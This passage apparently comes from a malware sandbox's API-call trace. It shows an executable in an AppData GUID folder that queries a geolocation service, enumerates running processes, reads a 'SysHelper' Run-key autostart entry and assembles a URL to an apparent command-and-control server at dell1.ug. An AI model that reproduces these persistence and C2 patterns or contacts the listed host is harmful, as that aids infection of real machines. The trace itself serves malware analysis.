Flags=0x0, MemoryPointer=0x35d4d48) returned 0x88 [0101.372] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4d48, Size=0x8c) returned 0x35d4d48 [0101.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0101.372] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2a) returned 0x35cee50 [0101.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x35cee50, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0101.372] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4d48) returned 0x8c [0101.372] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4d48, Size=0x90) returned 0x35d4d48 [0101.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0101.372] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x12) returned 0x35d4cc8 [0101.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x35d4cc8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0101.372] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4d48) returned 0x90 [0101.372] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4d48, Size=0x94) returned 0x35d4d48 [0101.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0101.372] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x18) returned 0x35d5ff0 [0101.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x35d5ff0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0101.373] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4d48) returned 0x94 [0101.373] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4d48, Size=0x98) returned 0x35d4d48 [0101.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0101.373] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x46) returned 0x35caa20 [0101.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x35caa20, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0101.373] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4d48) returned 0x98 [0101.373] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4d48, Size=0x9c) returned 0x35d4d48 [0101.373] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d47d8) returned 0x80 [0101.373] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d47d8) returned 0x80 [0101.373] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d47d8) returned 0x80 [0101.373] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x8ec) returned 0x35d67d8 [0101.374] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d47d8) returned 0x80 [0101.374] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x10) returned 0x35d2138 [0101.374] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d47d8) returned 0x80 [0101.374] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d47d8) returned 0x80 [0101.375] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d47d8) returned 0x80 [0101.375] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d47d8) returned 0x80 [0101.376] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0101.526] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x35c8b78 [0101.526] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0114.486] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18b450, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18dc50 | out: lpBuffer=0x18b450*, lpdwNumberOfBytesRead=0x18dc50*=0x1d1) returned 1 [0114.487] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0114.489] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0114.489] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x35dc5b8 [0114.489] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1e0) returned 0x613fcc0 [0114.489] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x613fcc0 | out: hHeap=0x35b0000) returned 1 [0114.489] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x35dc5b8 | out: hHeap=0x35b0000) returned 1 [0114.489] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x35c8b78 | out: hHeap=0x35b0000) returned 1 [0114.489] GetCurrentProcess () returned 0xffffffff [0114.489] GetLastError () returned 0x2 [0114.489] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0114.489] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x10) returned 0x3605c28 [0114.489] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x8ec) returned 0x614b068 [0114.490] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x614b960 [0114.490] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x614b960, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2b74.tmp.exe.exe")) returned 0x61 [0114.490] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465") returned 1 [0114.490] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x614c168 [0114.490] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart" [0114.490] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart", pNumArgs=0x18dd30 | out: pNumArgs=0x18dd30) returned 0x616b1c8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" [0114.490] lstrcpyW (in: lpString1=0x18e9c0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" [0114.490] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart" [0114.490] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart", pNumArgs=0x18dccc | out: pNumArgs=0x18dccc) returned 0x616b1c8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" [0114.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe") returned="2B74.TMP.EXE.exe" [0114.490] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76690000 [0114.491] GetProcAddress (hModule=0x76690000, lpProcName="EnumProcesses") returned 0x0 [0114.491] GetProcAddress (hModule=0x76690000, lpProcName="EnumProcessModules") returned 0x0 [0114.491] GetProcAddress (hModule=0x76690000, lpProcName="GetModuleBaseNameW") returned 0x0 [0114.492] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x773b0000 [0114.493] GetProcAddress (hModule=0x773b0000, lpProcName="EnumProcesses") returned 0x773b1544 [0114.493] GetProcAddress (hModule=0x773b0000, lpProcName="EnumProcessModules") returned 0x773b1408 [0114.493] GetProcAddress (hModule=0x773b0000, lpProcName="GetModuleBaseNameW") returned 0x773b152c [0114.493] EnumProcesses (in: lpidProcess=0x1834c8, cb=0xa000, lpcbNeeded=0x18dcd8 | out: lpidProcess=0x1834c8, lpcbNeeded=0x18dcd8) returned 1 [0114.495] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0114.496] CloseHandle (hObject=0x0) returned 0 [0114.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x0 [0114.497] CloseHandle (hObject=0x0) returned 0 [0114.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0114.497] CloseHandle (hObject=0x0) returned 0 [0114.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0114.497] CloseHandle (hObject=0x0) returned 0 [0114.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0114.497] CloseHandle (hObject=0x0) returned 0 [0114.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x0 [0114.497] CloseHandle (hObject=0x0) returned 0 [0114.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x30c) returned 0x5a4 [0114.497] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0114.497] CloseHandle (hObject=0x5a4) returned 1 [0114.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x37c) returned 0x5a4 [0114.497] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0114.497] CloseHandle (hObject=0x5a4) returned 1 [0114.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x410) returned 0x5a4 [0114.497] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0114.498] CloseHandle (hObject=0x5a4) returned 1 [0114.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x0 [0114.498] CloseHandle (hObject=0x0) returned 0 [0114.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4cc) returned 0x5a4 [0114.498] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0114.499] GetModuleBaseNameW (in: hProcess=0x5a4, hModule=0x400000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="2B74.TMP.EXE.exe") returned 0x10 [0114.499] CloseHandle (hObject=0x5a4) returned 1 [0114.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x504) returned 0x5a4 [0114.499] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0114.500] GetModuleBaseNameW (in: hProcess=0x5a4, hModule=0x400000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0114.500] CloseHandle (hObject=0x5a4) returned 1 [0114.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x528) returned 0x0 [0114.500] CloseHandle (hObject=0x0) returned 0 [0114.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x578) returned 0x5a4 [0114.500] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0114.501] CloseHandle (hObject=0x5a4) returned 1 [0114.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5d8) returned 0x0 [0114.501] CloseHandle (hObject=0x0) returned 0 [0114.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x21c) returned 0x5a4 [0114.501] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0114.501] CloseHandle (hObject=0x5a4) returned 1 [0114.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x510) returned 0x5a4 [0114.501] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0114.501] CloseHandle (hObject=0x5a4) returned 1 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x28) returned 0x35dcf90 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x36061a0 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x3608e80 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x36090e8 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x616f1b0 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x616f418 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x616f680 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x616f8e8 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x616fb50 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x616fdb8 [0114.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6170020 [0114.501] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18dcc8 | out: phkResult=0x18dcc8*=0x5a4) returned 0x0 [0114.502] RegQueryValueExW (in: hKey=0x5a4, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18dcc4, lpData=0x18c3f0, lpcbData=0x18dca8*=0x400 | out: lpType=0x18dcc4*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart", lpcbData=0x18dca8*=0xe0) returned 0x0 [0114.502] RegCloseKey (hKey=0x5a4) returned 0x0 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xe0) returned 0x61849c8 [0114.502] lstrlenA (lpString="\" --AutoStart") returned 13 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xd0) returned 0x6115ca8 [0114.502] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61849c8 | out: hHeap=0x35b0000) returned 1 [0114.502] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe") returned 1 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xd0) returned 0x6115d80 [0114.502] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6115ca8 | out: hHeap=0x35b0000) returned 1 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x28) returned 0x6187508 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6170288 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x61704f0 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6170758 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x61709c0 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6170c28 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6170e90 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x61731c8 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6173430 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6173698 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6173900 [0114.502] lstrlenA (lpString="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned 59 [0114.502] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x78) returned 0x360b648 [0114.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6170288, cbMultiByte=-1, lpWideCharStr=0x360b648, cchWideChar=60 | out: lpWideCharStr="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned 60 [0114.502] lstrcatW (in: lpString1="", lpString2="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0114.503] lstrlenA (lpString="") returned 0 [0114.503] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2) returned 0x6104ae0 [0114.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x61704f0, cbMultiByte=-1, lpWideCharStr=0x6104ae0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.503] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0114.503] lstrlenA (lpString="") returned 0 [0114.503] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2) returned 0x6104ad0 [0114.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6170758, cbMultiByte=-1, lpWideCharStr=0x6104ad0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.503] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0114.503] lstrlenA (lpString="") returned 0 [0114.503] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2) returned 0x6104af0 [0114.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x61709c0, cbMultiByte=-1, lpWideCharStr=0x6104af0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.503] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0114.503] lstrlenA (lpString="") returned 0 [0114.503] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2) returned 0x6104b00 [0114.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6170c28, cbMultiByte=-1, lpWideCharStr=0x6104b00, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.503] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0114.503] lstrlenA (lpString="") returned 0 [0114.503] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2) returned 0x6104b90 [0114.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6170e90, cbMultiByte=-1, lpWideCharStr=0x6104b90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.503] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0114.503] lstrlenA (lpString="") returned 0 [0114.503] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2) returned 0x6104b70 [0114.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x61731c8, cbMultiByte=-1, lpWideCharStr=0x6104b70, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.503] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0114.503] lstrlenA (lpString="") returned 0 [0114.503] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2) returned 0x6104b30 [0114.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6173430, cbMultiByte=-1, lpWideCharStr=0x6104b30, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.503] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0114.503] lstrlenA (lpString="") returned 0 [0114.503] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2) returned 0x6104b20 [0114.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6173698, cbMultiByte=-1, lpWideCharStr=0x6104b20, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.503] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0114.503] lstrlenA (lpString="") returned 0 [0114.504] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2) returned 0x6104b40 [0114.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6173900, cbMultiByte=-1, lpWideCharStr=0x6104b40, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.504] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0114.504] lstrlenW (lpString="") returned 0 [0114.504] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x12) returned 0x35d6750 [0114.504] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, 